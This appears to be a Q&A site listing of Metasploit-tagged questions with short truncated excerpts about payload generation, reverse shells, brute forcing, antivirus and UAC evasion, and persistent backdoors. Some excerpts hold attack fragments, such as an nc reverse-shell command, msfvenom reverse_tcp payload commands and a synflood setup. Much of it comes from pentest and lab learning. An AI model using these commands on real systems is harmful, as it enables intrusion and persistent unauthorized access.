Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

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Windows 7 Exploits

I just found my old, Windows 7 Ultimate installer DVD, so I thought I would set it up in a pentest-lab type environment, see what's possible and have some fun with it. So are there any publicly ...
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msfvenom payload problem

This is for educational purposes only! I'm trying to generate android payload using msfconsole payload standalone generator: msfvenom with the command msfvenom -p android/shell/reverse_tcp ...
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The process of using Metasploit to get in Systems [closed]

I am new in metasploit. I get the basic concept of exploiting a system or whatever your trying to do. You find a vulnerability in a system, you use an exploit or make one. Doing that on your local ...
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service metasploit start failed to start metasploit service [closed]

I am trying to setup Metasploit for penetration testing. However first of all I cannot get the database to connect. Also whenever I attempt to start the service using service metasploit start I get ...
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Upgrade shell to meterpreter behind NAT

I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently: Created a DDNS that points to my public IP ...
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The pdf embedded exe generating error on the target machine when executed

These are the steps that I performed in order to generate a PDF embedded with exe. Attacker machine (Windows 7): msf > use windows/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST ...
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What is the difference between FTP Brute force with hydra and Metasploit? [closed]

What is the difference between FTP Brute force with hydra and and FTP brute force with Metasploit ?
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Converting Metasploit module to standalone Python script [closed]

How easy is to convert Ruby code to Python code and to change Metasploit module into standalone Python script for Linux?
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Meterpreter and staged payloads

So starting with the absolute basics - an exploit is the means used to gain access to a vulnerable system and a payload is the actual program/shellcode used to fulfill attacker's intentions A staged ...
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Metasploit automatic module execution on receival of shell?

After reading through a couple of webpages referring to metasploit I stumbled upon a post referring to the auto execution of metasploit modules upon the receiving of a shell. Namely the post ...
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Does brute forcing require a password and username list?

I have been learning metasploit. One thing I noticed was that, all the videos on YouTube, which said "Brute forcing", used a password and a username list. My question is that, won't this be called a ...
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Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2

I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the ...
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Browsing exploits with Metasploit console

Is there any way to browse certain exploits in MSFconsole? The show exploits command shows too many and I cannot find a way to show just Windows file format exploits, for example.
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Disguising as another computer using SMB Relay?

I've got a server that constantly checks for the existence of certain parameters on every PC in the web using SMB, if it fails to find those parameters it marks it as a rogue PC. I've understood that ...
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deliver a malicious payload via a cloned website

I've been tasked with conducting an internal pentest, I'm relatively new to this so please bare with me. Some time ago, I used setoolkit and I would have the option to clone a website and attach a ...
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NOPS in Metasploit

Problem I do not know what a "NOP" is in Metasploit Framework or otherwise. What I do know Metasploit Unleashed says, "Nops keep the payload sizes consistent." A few question posts mention buffer ...
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Metasploit Get Shell Through NAT

Ok first of all this is legal and I have it in writing my friend and I are attacking eachother to get better and not break the law. Setup I have a VMWare image running BT5R3. It uses VMWare's NAT ...
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XSSF cookie stealer not working

I am playing with XSSF with Metasploit and attacking Mutilldae(security 0). I was able to get the generic XSS inject working. The inject was added to the Mutilldae blog. However, when I try to get the ...
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Metasploit payload problem [closed]

Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
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Is there an equivalent of meterpreter's “run persistence” for Linux?

As in the question - how can I install a persistent backdoor with Metasploit on a Linux target?
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How to set correctly set Local Host on a payload for a user outside subnet?

I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
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'http_login' metasploit module isn't able to Brute Force the target. Any suggestions? [closed]

I'm trying to Brute force the http Basic authentication on the domain pentesteracademylab.appspot.com The complete path is pentesteracademylab.appspot.com/lab/webapp/basicauth I'm using the ...
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Custom Metasploit payload with UAC bypass

The machine I am attacking has anti-virus installed. I have managed to use Veil Framework in order to create an initial reverse shell payload that is undetected by the AV. However, UAC is enabled on ...
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Detecting reflective DLL injection

In the past few years, malware (and some pen-test tools like Metasploit's meterpreter payload) have begun to use reflective DLL injection (PDF) to load a DLL into the memory of a process. The benefit ...
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Techniques for Anti Virus evasion

What are some good anti virus evasion techniques when using ps_exec? As a pentester I often encounter situations where you can't, for one exploit a machine as they are running anti-virus software on ...
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Metasploit new exploits failed [closed]

Why can't I use new exploits like exploit/multi/browser/adobe_flash_nellymoser_bof ? I tried to access it, but I can't even find it in MSF search Adobe or Flash or anything like this. What should I ...
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Metasploit reverse_http(s) PAYLOAD for linux target

During exploitation via metasploit's browzer_autopwn, I need to set a payload using http or https channel on a linux target. But there is no reverse_http(s) available in linux payload category. What ...
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What is “Gateway Host Probe”?

I wanted to perform Stress Testing on my router using Metasploit to perform a TCP syn Denial Of Service attack. I have used the following commands: use auxiliary/dos/tcp/synflood set rhost ...
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Metasploit SSH Error: could not settle on kex algorithm

I am running a trial of Cobalt Strike which runs over the Metasploit Framework. I am trying to perform an SSH related attack on my laptop, and I get the error in the title for all SSH related attacks. ...
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Sysinternals tool suite not working on low priv shell

Currently oscp student. I asked this on the oscp forum yesterday, but no responses so far. I am new to infosec, but have 18 years of education / work experience in IT. As far as I can tell, ...
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why the reverse_https payload runned at 0.0.0.0:443?

I created a reverse_https backdoor ( windows/meterpreter/reverse_https ) with msfpayload and then with multi handler want to create a reverse shell from my target , but when I exploited the handler I ...
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How does Metasploit's payload work with a remote target?

I have some simple questions. I often use Metasploit in my pentest engagements. It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
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source code of metasploit payloads(shellcodes)

Is there a way to see a source code of metasploit shellcodes. For example: root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C /* * windows/shell_bind_tcp - 341 bytes * ...
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What are the main differences between a Metasploit vulnerability/exploit attack and a “R.A.T.” attack?

I explain myself: To attack with a vulnerability & exploit it with Metasploit, you have first to find a vulnerability listed. Then once you have it, you set up the whole thing and end up with a ...
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Metasploit ssh_enumusers stops instantly [closed]

When I try to run the : http://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh_enumusers using the given options besides proxies I get the output: msf auxiliary(ssh_enumusers) > run [*] ...
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Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
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Meterpreter:execute command failed [closed]

When run execute -f cmd.exe -i -H, Meterpreter gave me an error: [-] stdapi_sys_process_execute: Operation failed: 1 What is causing this, and how to resolve it?
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How does the NOP sled work with MSFVenom? [closed]

I'm generating payloads with MSFVenom and here's a sample output: user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -n 200 -f python No platform was selected, choosing ...
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How do you send a 64 bit meterpreter stager? [closed]

All the stagers that are sent seem to be 32 bit. This is fine, until I have to run Mimikatz which on a 64 bit system you NEED to run the 64 bit mimikatz. Since the 64 bit Mimikatz won't run on the 32 ...
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Metasploit Framework console misencodes text

I am running the Metasploit Framework (v4.10.2) on Kali Linux 1.0.7. Some commands return this weird, misencoded (I think) text instead of what it should be returning. What can I do to fix this? ...
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Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
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msfvenom -b flag not working?

When using msfvenom, I am under the assumption that the following syntax should give me shellcode without \x00 \x0a \x0d or \x40, because of the -b option msfvenom -p windows/shell/bind_tcp -b ...
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Why is ms08-067 stopping at “Attempting to trigger the vulnerability”?

Using Metasploit I am trying to attack an unpatched Windows XP SP3 Virtual machine with the ms08-067 exploit but it just gets stuck at Attempting to trigger the vulnerability. I assume this means the ...
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Detecting reflective DLL injection any other ways?

any way to detect it? maybe using mcafee hips rules? Are there any known Techniques to detect it ? like walking the VAD tree or something?
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SET tool autopwn website type penetration [closed]

I tried to hack my second computer and phone in my local network. I am not very experienced so instead of picking the particular options and payloads i just pressed autopwn to use them all instantly. ...
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Exploiting through a filtered port

I'm doing some pentesting against a machine the lecturer set up in the lab. NMAP shows port 445 to be filtered and Nessus confirms the ms08_067 vulnerability is present on that machine. I tried ...
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Nessus Scan Port ID mapped to Metasploit Vulnerability exploits

My Question: Is there any sort of website that maps Nessus Scan IDs to Metasploit Vulnerabilities? My Situation: I'm learning about penetration testing and I'm beginning to get frustrated seeing a ...
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Choosing encoder for payloads in metasploit

I noticed that every payload (for example bind_tcp) in metasploit comes with defaut encoder.( shikata_ga_nai for bind_tcp). Is there a way in metasploit to manualy choose encoding for payloads or way ...
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MS08_067 with Metasploit [closed]

I'm learning how to use Metasploit. I'm using VirtualBox to run a VM with Kali Linux (192.168.56.101) and another with Windows XP SP1 (192.168.56.103). The two VMs can ping each other and Windows ...
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MS03-026 RPC DCOM Exploit not working on metasploit [closed]

I'm trying to exploit Windowx XP SP2 through MS03-026 Microsoft RPC DCOM Interface Overflow vulnerability on msfconsole. When execute "exploit" but it is not working. What could be reason? The one ...